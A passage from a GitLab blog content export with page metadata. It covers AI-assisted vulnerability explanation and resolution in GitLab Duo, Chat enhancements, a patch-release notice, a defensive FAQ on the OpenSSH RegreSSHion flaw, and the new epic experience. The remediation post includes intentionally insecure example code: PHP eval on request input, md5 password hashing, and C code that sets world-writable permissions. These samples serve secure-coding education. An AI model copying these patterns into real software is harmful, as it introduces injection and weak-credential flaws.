is crucial. Fixes must not break existing functionality. If they do, a discussion with maintainers and product owners will be necessary, and, as such, will require a high-level summary and potential mitigation alternatives. Code that someone who left the company wrote or code that has no tests can make the planning for a fix even more difficult. \n\nAI-powered Vulnerability Explanation helps with a summary of how an attacker can exploit the vulnerability, and provides more explanations about the impact and potential fixes. \n\nThe following example shows an OS Command Injection vulnerability, using this code snippet:\n\n```php\n\u003C?php \n\n// Read variable name from GET request\n$name = $_GET['name'];\n\n// Use the variable name to call eval and print its value \neval('echo $' . $name . ';');\n```\n\nThe vulnerability report does not go into much detail, and requires understanding of the full context and impact. Select `Explain vulnerability` from the upper right corner, which will open GitLab Duo Chat with a pre-defined prompt action. This will give an additional summary of the vulnerability, describe how the vulnerability can be exploited, and provide a suggested fix. \n\n![Improper Neutralization of\nSpecial Elements used in an OS Command\n('OS Command Injection') ](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098116/Blog/Content%20Images/Blog/Content%20Images/image9_aHR0cHM6_1750098116057.png)\n\n### Make Vulnerability Explanation a conversation with context \n\nYou’ll also recognize a change in UX: The previous vulnerability explanation overlay was replaced with a GitLab Duo Chat workflow. Sometimes, a complex vulnerability unfolds into multiple mitigation steps, or unclear source code paths.\n\nYou can navigate into the source code tree, and continue with the same Chat context to explain, fix, refactor, and test the code. \n\nLet’s try the full workflow with an example in C, where security scanning detected a buffer overflow.\n\n1. Open the security vulnerability detail view, and select \"Explain vulnerability\" on the button in the upper right. This will open up the Chat prompt, providing a summary of the problem, potential attack vectors, and a proposed fix.\n\n![AI for vulnerabilities - image 4](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098116/Blog/Content%20Images/Blog/Content%20Images/image11_aHR0cHM6_1750098116059.png)\n\n2. Review the proposed fix, and ask Chat in a follow-up prompt to share alternative paths, using `Can you show an alternative fix using a different function`. The idea is to learn about alternative functions to `strcpy()` that can be more safe to use. \n\n![AI for vulnerabilities - image 3](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098116/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750098116060.png)\n\n3. Chat comes up with an alternative fix using `strlcpy()` in the following example. The function only copies as many characters as allowed in the target string, and always terminates the string with null. It also returns the length of the source string to determine whether the string was truncated. \n\n![AI for vulnerabilities - image 5](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098116/Blog/Content%20Images/Blog/Content%20Images/image10_aHR0cHM6_1750098116062.png)\n\n4. Next, click on the `Location` file URL to jump into the source code view. Open Chat again, and verify that the previous vulnerability explanation context is still there. As a next step, we want to add tests before continuing with a proposed fix. This helps to avoid breaking functionality or introduce regressions. For example, use this Chat prompt: `Based on the vulnerability context and opened source code, how would you add tests for it?`.\n\n![AI for vulnerabilities - image 7 ](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098116/Blog/Content%20Images/Blog/Content%20Images/image8_aHR0cHM6_1750098116063.png)\n\n5. After generating tests (and assuming they were added now), you can also ask Chat to refactor the source code, using the prompt `Can you refactor the source code too?` in the same session.\n\n![AI for vulnerabilities - image 6](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098116/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750098116063.png)\n\nThe workflow shows how to analyze, understand, mitigate, get alternative approaches, add tests, and even refactor fixes for vulnerabilities. \n\nYou can continue this path using Chat, and then switch into the Web IDE to modify the source code after learning how to do it. Additional continued workflows include committing changes and triggering CI/CD and security scans for the full DevSecOps lifecycle loop. \n\n## Remediate with AI-assisted Vulnerability Resolution \n\nUnderstanding and mitigating a security vulnerability still requires engineering work to create a fix for the problem, run pipelines and security scanning in a new merge request again. It can also be necessary to deploy the fixes into a staging environment and test them for a longer period of time.\n\nAI can help here with generating a proposed fix based on the provided context of the vulnerability and source code.\n\nTip: Think of the most annoying vulnerability you had to fix in your career, and re-create the use case example for your GitLab Duo adoption. The [MITRE CWE Top 25 of the most dangerous software weaknesses](https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html) also provides a good starting point.  \n\nThe following example implements [CWE-328: Use of a weak hash function](https://cwe.mitre.org/data/definitions/328.html) by using `md5`. It is correctly identified by [SAST scanning](https://docs.gitlab.com/ee/user/application_security/sast/). \n\n```python\nimport hashlib\n\nclass User:\n    def __init__(self, username, password):\n        self.username = username\n        self.password = password\n\n    def set_password(self, password):\n        self.password = hashlib.md5(password.encode()).hexdigest()\n```\n\n![AI for vulnerabilities - image 8](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098116/Blog/Content%20Images/Blog/Content%20Images/image7_aHR0cHM6_1750098116064.png)\n\nClick on the button in the upper right `Resolve with merge request`.  This will open an MR that uses AI to propose the fix. For this vulnerability, one possible fix could be using a different hash function. \n\n![AI for vulnerabilities - image 9](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098116/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098116065.png)\n\nAnother common vulnerability example is not checking function error codes or potential exceptions. The following C code snippets implement an example for timing attacks against file operations with [CWE-362](https://cwe.mitre.org/data/definitions/362.html) for the `fopen()` and `chmod()` calls. \n\n```c\n#include \u003Cstdio.h>\n#include \u003Cstring.h>\n#include \u003Csys/mman.h>\n#include \u003Csys/stat.h>\n#include \u003Cunistd.h>\n\nint main(int argc, char **argv) {\n\n    // File operations\n    char *fname = \"gitlab.keksi\";\n\n    FILE *fp;\n    fp = fopen(fname, \"r\");\n    fprintf(fp, \"Hello from GitLab Duo Vulnerability Resolution Challenge\");\n    fclose(fp);\n\n    // Potential chmod() timing attacks    \n\n    // Make the file world readable\n    chmod(fname, S_IRWXU|S_IRWXG|S_IRWXO);\n\n    return 0;\n}\n```\n\nThe SAST report for `chmod()` can look like the following: \n\n![AI for vulnerabilities - image 10](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098116/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750098116065.png)\n\nThe proposed `chmod()` merge request includes error handling, and fixes another potential issue with world writable files, changing the permissions from `777` to `600`.\n\n![AI for vulnerabilities - image 11](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098116/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750098116066.png)\n\n> Try this async exercise: Find, analyze, and fix the vulnerability for the `fopen()` function.\n\n## More AI assistance required from GitLab Duo \n\nOften, a security problem can be resolved with a quick fix or a workaround that grants the development teams time to discuss and plan a more long-term solution. In other cases, the problem becomes more complex and requires feature APIs disabled, or firewall mitigation, until a proper fix can be rolled into production.\n\nGitLab Duo offers additional AI-powered features that can help resolve these issues. \n\n**Code Explanation:** As a developer or security engineer, it's crucial to feel confident in the changes you've made. Within the IDE, you can use the [Code Explanation feature](https://docs.gitlab.com/ee/user/gitlab_duo_chat/examples.html#explain-code-in-the-ide) to gain a deeper understanding of the AI-suggested fix for the vulnerability. This ensures you know exactly what adjustments have been made and why.\n\n**Root Cause Analysis:** If the fix breaks your pipeline, you can utilize the [Root Cause Analysis feature](https://about.gitlab.com/blog/developing-gitlab-duo-blending-ai-and-root-cause-analysis-to-fix-ci-cd/). This tool helps identify and explain the underlying problem, allowing you to address it effectively. After applying the necessary corrections, you can rerun the tests to ensure a successful resolution.\n\n**Refactor:** Even if the vulnerability has been fixed, it's worth considering if the code can be written in a safer manner. In the IDE, you can open GitLab Duo Chat and use the [refactor action](https://docs.gitlab.com/ee/user/gitlab_duo_chat/examples.html#refactor-code-in-the-ide) to explore alternative, more secure ways to write your code. This proactive approach helps maintain a robust and secure codebase.\n\nBy leveraging these GitLab Duo features, you can confidently navigate and resolve vulnerabilities, ensuring your code remains secure and efficient.\n\n## What’s next?\n\nWe plan to bring both Vulnerability Explanation and Vulnerability Resolution \"left\" by incorporating them directly into the MR process. This integration ensures that you can address and resolve vulnerabilities earlier in the development cycle, streamlining your workflow and enhancing code security from the outset.\n\n## Get started with GitLab Duo\n\nPlease see our [documentation](https://docs.gitlab.com/ee/user/gitlab_duo/turn_on_off.html) on how to enable the feature available to our GitLab Ultimate customers. Also, GitLab Duo [Vulnerability Explanation](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/#explaining-a-vulnerability) and [Vulnerability Resolution](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/#vulnerability-resolution) will soon be coming to GitLab self-managed and GitLab Dedicated.\n\nYou can keep up with what's new in GitLab Duo by [following the \"Developing GitLab Duo\" blog series](https://about.gitlab.com/blog/developing-gitlab-duo-series/).\n\n> Start [a free trial of GitLab Duo](https://about.gitlab.com/gitlab-duo/#free-trial) to bring these powerful vulnerability remediation benefits to your own organization!\n",[790,674,695,754,696],{"slug":5310,"featured":92,"template":678},"developing-gitlab-duo-use-ai-to-remediate-security-vulnerabilities","content:en-us:blog:developing-gitlab-duo-use-ai-to-remediate-security-vulnerabilities.yml","Developing Gitlab Duo Use Ai To Remediate Security Vulnerabilities","en-us/blog/developing-gitlab-duo-use-ai-to-remediate-security-vulnerabilities.yml","en-us/blog/developing-gitlab-duo-use-ai-to-remediate-security-vulnerabilities",{"_path":5316,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":5317,"content":5323,"config":5328,"_id":5330,"_type":16,"title":5331,"_source":17,"_file":5332,"_stem":5333,"_extension":20},"/en-us/blog/developing-gitlab-duo-a-roundup-of-recent-chat-enhancements",{"title":5318,"description":5319,"ogTitle":5318,"ogDescription":5319,"noIndex":6,"ogImage":5320,"ogUrl":5321,"ogSiteName":1180,"ogType":1181,"canonicalUrls":5321,"schema":5322},"Developing GitLab Duo: A roundup of recent Chat enhancements","Discover the latest improvements to GitLab Duo Chat, including a new integration, prompt cancellation, and architectural upgrades.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098374/Blog/Hero%20Images/Blog/Hero%20Images/blog-hero-banner-1-0178-820x470-fy25_7JlF3WlEkswGQbcTe8DOTB_1750098374059.png","https://about.gitlab.com/blog/developing-gitlab-duo-a-roundup-of-recent-chat-enhancements","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Developing GitLab Duo: A roundup of recent Chat enhancements\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jannik Lehmann\"},{\"@type\":\"Person\",\"name\":\"David O'Regan\"}],\n        \"datePublished\": \"2024-07-10\",\n      }",{"title":5318,"description":5319,"authors":5324,"heroImage":5320,"date":5325,"body":5326,"category":791,"tags":5327},[4280,2680],"2024-07-10","GitLab is committed to [continuously improving GitLab Duo Chat](https://gitlab.com/gitlab-org/gitlab/-/issues/430124), our AI assistant, to meet the evolving needs of our users. Here are some recent enhancements that will streamline your workflow and boost productivity.\n\n> Discover the future of AI-driven software development with our GitLab 17 virtual launch event. [Watch today](https://about.gitlab.com/seventeen/)!\n\n## Vulnerability Explanation: A new integration\n\nWe've reached a significant milestone in the evolution of Chat: the integration of [GitLab Duo Vulnerability Explanation](https://about.gitlab.com/the-source/ai/understand-and-resolve-vulnerabilities-with-ai-powered-gitlab-duo/). This marks the first feature from our [GitLab Duo](https://about.gitlab.com/gitlab-duo/) platform to be integrated into Chat by a team outside of the AI group, showcasing the collaborative spirit and cross-functional capabilities at GitLab.\n\n### Key highlights of this integration:\n\n- **Swift execution:** The team moved from a spike to implementation in just three weeks, demonstrating agility and execution.\n- **Cross-team collaboration:** This integration was led by teams outside the AI group, paving the way for more diverse feature integrations in the future.\n- **Enhanced security insights:** Users will soon be able to leverage Chat to gain deeper understanding of vulnerabilities detected in their projects.\n\nThis integration represents a significant step forward in making Chat an even more powerful and versatile tool for developers, particularly in the realm of security.\n\n## Enhanced context awareness\n\nWe've made significant strides in improving Chat's context awareness, making it more intelligent and helpful in various scenarios.\n\n### Always-available knowledge\n\nGitLab Duo Chat always has access to:\n- GitLab documentation\n- General programming and coding knowledge\n\nIt's crucial to understand that Chat does not have unrestricted access to your entire GitLab instance or codebase. It only processes the specific information you provide in your query or what's immediately relevant to your current view in the GitLab UI or IDE.\n\nWe're continuously working to expand Chat's contextual awareness to include more types of content, always with a focus on user privacy and data security. This gradual expansion aims to make Chat an even more powerful assistant for your development workflow while maintaining appropriate data access boundaries.\n\n### Expanded contextual knowledge\n\nGitLab Duo Chat now has [a better understanding of the context you're working in](https://docs.gitlab.com/ee/user/gitlab_duo_chat/#the-context-chat-is-aware-of), both in the GitLab UI and IDEs. Here's a breakdown of what Chat is aware of.\n\nIn the GitLab UI:\n- **Epics** - Chat understands when you refer to \"this epic\" or use the epic's URL.\n- **Issues** - Similar to epics, Chat recognizes \"this issue\" or the issue's URL.\n- **Code files** - When viewing a single file, Chat can interpret requests about \"this code\" or \"this file\".\n\nIn IDEs:\n- **Selected code** - Chat can analyze code you've selected when you ask about \"this code\" or \"this file\".\n- **Epics and issues** -  Chat can understand context when you provide the URL.\n\nAdditionally, when using slash commands like `/explain`, `/refactor`, or `/tests` in IDEs, Chat has access to the selected code.\n\n![Screenshot of GitLab Duo Chat window](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098382/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750098382107.png)\n\n### Chat history and caching\nGitLab Duo Chat retains the last 50 messages in the chat history. This history expires three days after last use. Closing your browser or IDE will not permanently delete your chat history within this timeframe, but it's important to note that long-term persistence of chat data is not currently supported.\n\n## Prompt cancellation: Stop responses on demand\n\nOne of the most anticipated features is now available: [prompt cancellation](https://gitlab.com/groups/gitlab-org/-/epics/13662). Users can now cancel ongoing prompts in Chat on GitLab.com, giving you [more control over your interactions](https://gitlab.com/gitlab-org/gitlab/-/issues/458397).\n- Available now: This feature has been rolled out on GitLab.com.\n- Coming soon: This feature will be available for self-managed instances in our next release. GitLab Dedicated users will receive it in the monthly upgrade.\n- Work in progress: [Integration for editor extensions](https://docs.gitlab.com/ee/editor_extensions/) - [follow along in the issue](https://gitlab.com/gitlab-org/editor-extensions/gitlab-jetbrains-plugin/-/issues/335).\n\nThis enhancement allows you to stop a response if you've sent a prompt too early or had a change of thought while waiting. It's a small but powerful feature that can save you time and frustration.\n\nTo cancel a prompt in GitLab Duo Chat, follow these steps:\n1. Open GitLab Duo Chat on GitLab.com.\n2. Start typing a prompt or question such as `What is this issue about?`.\n\n![Screen showing the start of how to cancel prompts in GitLab Duo Chat](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098382/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750098382108.png)\n\n3. After sending the prompt, if you wish to cancel the response, look for the new \"Cancel\" button that appears while Chat is generating a response.\n\n![Screenshot of Chat with Cancel button](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098382/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750098382110.png)\n\n4. Click the \"Cancel\" button to immediately stop the response generation.\n\n![Screenshot showing response stopped](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098382/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098382112.png)\n\n## Architectural improvements\n\nBehind the scenes, we've been working on architectural improvements to make GitLab Duo Chat more robust and efficient:\n\n- Moving to Language Server Protocol ([LSP](https://gitlab.com/gitlab-org/editor-extensions/gitlab-lsp)): This effort improves the integration of Chat with various development environments. \n- GitLab Language Server is an experimental TypeScript project that provides a common interface for IDE extensions to build GitLab functionality. It currently supports GitLab Duo Code Suggestions and upcoming will support GitLab Duo Chat.\n\nWhile this change primarily affects the underlying architecture, users may notice:\n- Improved responsiveness and performance when using Chat across different IDEs and editors.\n- More consistent behavior of Chat features across various development environments.\n- Enhanced ability to add new features and improvements in the future.\n\nCheck out our introduction to how GitLab Language Server powers Code Suggestions in this video walkthrough:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/VQlWz6GZhrs?si=_G5mOyYqEGAmnRv4\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## What's next?\n\nWe're continuously improving GitLab Duo Chat. Here are some highlights:\n\n- We're in the process of migrating our AI features to [Claude 3.5 Sonnet](https://gitlab.com/gitlab-org/gitlab/-/issues/468334). This upgrade will bring improved performance and capabilities to Chat and other AI-powered features.\n- We're actively working on [enabling Chat to work with custom, self-hosted models](https://gitlab.com/groups/gitlab-org/-/epics/13760). This will allow organizations to use their own AI models with Chat, providing more control over the AI's knowledgebase and potentially improving performance for domain-specific tasks.\n- We're currently finishing the [synchronization of messages across all clients](https://gitlab.com/gitlab-org/gitlab/-/issues/418760), including WebUI, to ensure seamless communication and keep all your clients in sync, enhancing your collaboration experience.\n- We’re [migrating the “Summarize Comments” feature to Chat](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/156650). You'll be able to summarize multiple comments on an issue directly within Chat, helping you quickly understand the main points and key takeaways from discussions, thereby improving your collaborative experience.\n\nWe look forward to [hearing your feedback on these enhancements](https://gitlab.com/gitlab-org/gitlab/-/issues/430124). Stay tuned for more updates as we continue to evolve GitLab Duo Chat.\n\n> Find out even more about [how we are developing GitLab Duo](https://about.gitlab.com/blog/developing-gitlab-duo-series/) with our ongoing series.\n",[790,754,695],{"slug":5329,"featured":92,"template":678},"developing-gitlab-duo-a-roundup-of-recent-chat-enhancements","content:en-us:blog:developing-gitlab-duo-a-roundup-of-recent-chat-enhancements.yml","Developing Gitlab Duo A Roundup Of Recent Chat Enhancements","en-us/blog/developing-gitlab-duo-a-roundup-of-recent-chat-enhancements.yml","en-us/blog/developing-gitlab-duo-a-roundup-of-recent-chat-enhancements",{"_path":5335,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":5336,"content":5342,"config":5346,"_id":5349,"_type":16,"title":5350,"_source":17,"_file":5351,"_stem":5352,"_extension":20},"/en-us/blog/gitlab-critical-patch-release-17-1-2-17-0-4-16-11-6",{"title":5337,"description":5338,"ogTitle":5337,"ogDescription":5338,"config":5339,"ogImage":3431,"ogUrl":5340,"ogSiteName":1180,"ogType":1181,"canonicalUrls":5340,"schema":5341},"GitLab Critical Patch Release: 17.1.2, 17.0.4, 16.11.6","Learn more about GitLab Critical Patch Release: 17.1.2, 17.0.4, 16.11.6 for GitLab Community Edition (CE) and Enterprise Edition (EE).",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-critical-patch-release-17-1-2-17-0-4-16-11-6","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Critical Patch Release: 17.1.2, 17.0.4, 16.11.6\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\" Rohit Shambhuni\"}],\n        \"datePublished\": \"2024-07-10\",\n      }",{"title":5337,"description":5338,"authors":5343,"heroImage":3431,"date":5325,"body":5344,"category":674,"tags":5345},[1014],"This is the [GitLab Critical Patch Release: 17.1.2, 17.0.4, 16.11.6](https://about.gitlab.com/releases/2024/07/10/patch-release-gitlab-17-1-2-released/).",[1464,716],{"slug":5347,"featured":6,"template":678,"externalUrl":5348},"gitlab-critical-patch-release-17-1-2-17-0-4-16-11-6","https://about.gitlab.com/releases/2024/07/10/patch-release-gitlab-17-1-2-released/","content:en-us:blog:gitlab-critical-patch-release-17-1-2-17-0-4-16-11-6.yml","Gitlab Critical Patch Release 17 1 2 17 0 4 16 11 6","en-us/blog/gitlab-critical-patch-release-17-1-2-17-0-4-16-11-6.yml","en-us/blog/gitlab-critical-patch-release-17-1-2-17-0-4-16-11-6",{"_path":5354,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":5355,"content":5360,"config":5366,"_id":5368,"_type":16,"title":5369,"_source":17,"_file":5370,"_stem":5371,"_extension":20},"/en-us/blog/faq-the-regresshion-vulnerability-and-gitlab",{"title":5356,"description":5357,"ogTitle":5356,"ogDescription":5357,"noIndex":6,"ogImage":1101,"ogUrl":5358,"ogSiteName":1180,"ogType":1181,"canonicalUrls":5358,"schema":5359},"FAQ: The RegreSSHion vulnerability and GitLab","Find out what CVE-2024-6387 is, how it impacts GitLab, and what you need to know to mitigate it in your GitLab environment.","https://about.gitlab.com/blog/faq-the-regresshion-vulnerability-and-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"FAQ: The RegreSSHion vulnerability and GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mark Loveless\"}],\n        \"datePublished\": \"2024-07-09\",\n      }",{"title":5356,"description":5357,"authors":5361,"heroImage":1101,"date":5363,"body":5364,"category":674,"tags":5365},[5362],"Mark Loveless","2024-07-09","Here is what you need to know about RegreSSHion (CVE-2024-6387), a recently discovered remote unauthenticated code execution vulnerability, how it impacts GitLab, and how to mitigate the risk in your GitLab environment.\n\n## What is RegreSSHion?\nThe Qualys Threat Research Unit [recently discovered the RegreSShion flaw](https://blog.qualys.com/vulnerabilities-threat-research/2024/07/01/regresshion-remote-unauthenticated-code-execution-vulnerability-in-openssh-server), which is a signal handler race condition in OpenSSH’s server (sshd). RegreSSHion allows for an unauthenticated attacker remote code execution (RCE) as root on glibc-based Linux systems and presents a significant security risk. This race condition affects the OpenSSH sshd daemon in its default configuration.\n\n## Does RegreSSHion impact GitLab customers?\n\n1. GitLab.com and GitLab Dedicated are not impacted by RegreSSHion because they use [gitlab-sshd](https://docs.gitlab.com/ee/administration/operations/gitlab_sshd.html), which is not vulnerable to RegreSSHion. Gitaly uses [gitaly-ssh](https://gitlab.com/gitlab-org/gitaly/tree/master/cmd/gitaly-ssh#how-gitaly-ssh-does-it), which is not vulnerable to RegreSSHion.\n\n2. Self-managed GitLab customers might require patches to their environments.\n\t- If your self-managed GitLab instance is cloud-based and the cloud provider maintains the underlying operating system, your environment is safe because all of the major Linux platforms have upgraded their libraries.\n\t- If you are responsible for maintaining the core operating system for your self-managed instance and you have installed the latest patches, your environment should be safe.\n\t- Self-managed instances can be configured to use `gitlab-sshd`, which is not vulnerable.\n\nIf your GitLab instance is not open to the public, you have substantially reduced levels of risk.\n\n**Note:** If you develop and manage your own Docker containers, you are encouraged to apply patches to them as well.\n\n## What can you do to mitigate RegreSSHion?\n\nUnpatched environments have a low risk of impact from RegreSSHion due to the nature of the flaw and the general chaos of traffic flow on the internet. Most attackers wanting access to systems would likely choose an easier path, such as phishing. To protect your environment we advise you to follow the [GitLab Hardening Recommendations](https://docs.gitlab.com/ee/security/hardening.html). We recommend the basics of regular patching, strong passwords, and implementing multi-factor authentication on all your systems, including your GitLab instance.\n\n## What is GitLab doing to monitor RegreSSHion?\n\nAs the most likely attack scenario involves an attacker making rapid, repeated attempts over a long time (days), normal monitoring and defenses against denial-of-service attacks are already actively monitored and defended against. Logs are monitored and reviewed for various types of anomalies, and this particular attack would be detected if attempted. And, as noted above, GitLab.com and GitLab Dedicated are using `gitlab-sshd`, which is not vulnerable. \n\n## How else can you harden your environment against RegreSSHion and similar vulnerabilities?\n\nIf you want to take further steps to help ensure you’ve reduced the risk as much as possible, here are a few general guidelines for handling mitigations of your GitLab environment:\n\n- If for some reason you cannot upgrade the underlying operating system, use [`gitlab-sshd`](https://docs.gitlab.com/ee/administration/operations/gitlab_sshd.html) as it is easy to configure. OpenSSH is written in the C programming language, which has historically allowed for the introduction of memory errors. Note that `gitlab-sshd` is written in Go, which is generally considered a “memory safe” language.\n\n- Follow the guidelines in the [GitLab Hardening Recommendations](https://docs.gitlab.com/ee/security/hardening.html). For example, setting the `/etc/ssh/ssh_config` values specified in these recommendations could cause the exploit code to fail. Typical exploit code might have problems dealing with a specific hash-based method authentication code (HMAC) value or algorithm specified. Additionally, some of the recommended `/etc/sysctl.conf` settings will also increase exploitation difficulty. This could substantially increase the number of attempts needed.\n\n- In some recommendations regarding mitigating RegreSSHion, there have been references to setting the `LoginGraceTime` to 0 in the `/etc/ssh/sshd_config` file. This will result in your system not being vulnerable to RegreSSHion, however, it will now be vulnerable to a denial-of-service attack. If unspecified, the `LoginGraceTime` defaults to 120 seconds. It is considered best practice to set the `LoginGraceTime`this to 60 seconds, and this effectively doubles the time required for a successful RegreSSHion attack. **Note:**`gitlab-sshd` defaults to 60 seconds.\n\n## What is the potential result of the RegreSSHion vulnerability?\n\nThe attack was developed and tested in Qualys’ lab environment, which is not reflective of a normal internet-accessible environment. If the attack works, it can be devastating. However, even in this controlled environment Qualys could only get an attack to be successful once every 10,000 attempts on older CPUs in a process that took hours. On modern CPUs this could take a week or more in a pristine lab environment. On the open internet with regular traffic and the potential for even further delays, the chances for a successful attack are substantially reduced. In other words, it could be very bad if it works (an attacker executing commands of their choice remotely), but the odds of it working in a real-world environment are extremely remote.\n",[674],{"slug":5367,"featured":92,"template":678},"faq-the-regresshion-vulnerability-and-gitlab","content:en-us:blog:faq-the-regresshion-vulnerability-and-gitlab.yml","Faq The Regresshion Vulnerability And Gitlab","en-us/blog/faq-the-regresshion-vulnerability-and-gitlab.yml","en-us/blog/faq-the-regresshion-vulnerability-and-gitlab",{"_path":5373,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":5374,"content":5379,"config":5384,"_id":5386,"_type":16,"title":5387,"_source":17,"_file":5388,"_stem":5389,"_extension":20},"/en-us/blog/unveiling-a-new-epic-experience-for-improved-agile-planning",{"title":5375,"description":5376,"ogTitle":5375,"ogDescription":5376,"noIndex":6,"ogImage":5244,"ogUrl":5377,"ogSiteName":1180,"ogType":1181,"canonicalUrls":5377,"schema":5378},"Unveiling a new epic experience for improved Agile planning","Explore the update for GitLab epics that enhances planning and improves workflows – all with seamless migration for better project management.","https://about.gitlab.com/blog/unveiling-a-new-epic-experience-for-improved-agile-planning","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Unveiling a new epic experience for improved Agile planning\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Amanda Rueda\"}],\n        \"datePublished\": \"2024-07-03\",\n      }",{"title":5375,"description":5376,"authors":5380,"heroImage":5244,"date":5381,"body":5382,"category":1897,"tags":5383},[1894],"2024-07-03","In our ongoing journey to enhance the Agile planning experience in GitLab, we [recently unveiled a new look](https://about.gitlab.com/blog/first-look-the-new-agile-planning-experience-in-gitlab/). This update marks a significant step toward creating a unified and flexible planning tool tailored to your needs. This article explores a crucial part of that initiative: the new epic experience. You'll learn about upcoming epic features and the motivations behind these changes, which are designed to elevate your project management capabilities.\n\n## Why the new epic experience?\n\n### Addressing user feedback\nAs part of our mission to provide a comprehensive Agile planning experience, we've listened closely to your feedback. Users have highlighted challenges with the current epic implementation, such as inconsistent features between epics and issues and a lack of flexibility to support diverse workflows. Some pain points focused on workflow tools, including the absence of assignees on epics and a lack of reusable templates. The new epic experience addresses these pain points and makes Agile planning more intuitive and efficient.\n\n### Unified Work Items framework\nTo tackle these issues, we've introduced a unified Work Items framework. This new architecture ensures consistency across all planning objects — epics, issues, and tasks — simplifying the user experience and enhancing functionality. By consolidating the underlying code, we can deliver new features and improvements faster, ensuring a smoother and more reliable planning process.\n\n> Read more about [what is to come with GitLab Agile planning](https://about.gitlab.com/blog/first-look-the-new-agile-planning-experience-in-gitlab/).\n\n## Key features of the new epic experience\n\n### Enhanced detail page\nOne of the most notable changes is the revamped epic detail page. The new design offers a cleaner, more intuitive interface, making it easier to manage and track your epics.\n\nHere are some new key features:\n* **Assignees** - assign epics to team members, improving accountability and oversight.\n* **Health status** - quickly gauge the status of your epics with new health indicators.\n* **Time tracking** - create better visibility over time spent and ensure efficient use of resources across your projects.\n* **Ancestry** - view the entire hierarchy lineage of the epic.\n* **Condensed description** - easily view long work item descriptions without having to scroll excessively. Descriptions are truncated by default, with a \"Show more\" link to expand the full text on demand. This streamlines your workflow by allowing you to quickly scan descriptions and only expand them when needed, reducing clutter and improving readability.\n* **Custom color** - customize the color related to epics viewed on the roadmap now with the ability to define a custom color, use HEX or RGB codes, or choose from an expanded predefined palette. \n\n![new epic experience screenshot](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674437/Blog/Content%20Images/Screenshot_2024-07-10_at_4.22.45_p.m..png)\n\n### Consistency across planning objects\nThe new epic experience aligns closely with the new issues experience coming soon (spoiler alert!) and tasks, providing a seamless and cohesive user experience. This consistency helps streamline workflows and reduces the learning curve for new users.\n\n### Additional functionality\nWe plan to iteratively add exciting new features that will enhance your planning capabilities. Our goal is to allow you to tailor planning processes within GitLab to best fit your organization’s unique needs. Once we’ve released the new epics experience, you can expect to see additional functionality with every release! There are many great features to come – here are some of my favorites:\n- [Templates](https://gitlab.com/gitlab-org/gitlab/-/issues/428690)\n- [Custom fields](https://gitlab.com/groups/gitlab-org/-/epics/235)\n- [Configurable statuses](https://gitlab.com/groups/gitlab-org/-/epics/5099)\n- [Project-level epics](https://gitlab.com/gitlab-org/gitlab/-/issues/31840)\n- [Cloning](https://gitlab.com/gitlab-org/gitlab/-/issues/339768)\n- [Moving to another group/project](https://gitlab.com/gitlab-org/gitlab/-/issues/339766)\n- [Milestones](https://gitlab.com/groups/gitlab-org/-/epics/329)\n\n## Migration expectations\nWe understand that any change can be disruptive, so we've designed the migration to the new epic experience to be as seamless as possible. All existing epic data, APIs, and URLs will continue to function as expected. Users do not need to take any action to prepare for this transition. For our self-managed customers, learn how you can preview the new experience in a test environment ahead of general availability [here](https://docs.gitlab.com/ee/user/group/epics/epic_work_items.html).\n\n## Community feedback and engagement\nWe value your input and encourage you to share your experiences with the new epic experience. Your feedback is essential to help refine and improve our tools. Please visit our [epic experience feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/494462) to provide your thoughts and suggestions.\n\n## What's next\nThe new epic experience in GitLab represents a significant leap forward in our Agile planning capabilities. With enhanced features, improved consistency, and a user-centric approach, we are confident that these changes will greatly benefit your project management processes. We invite you to explore the new features, provide feedback, and stay tuned for more updates as we continue to innovate and improve.\n\n> [Bookmark this 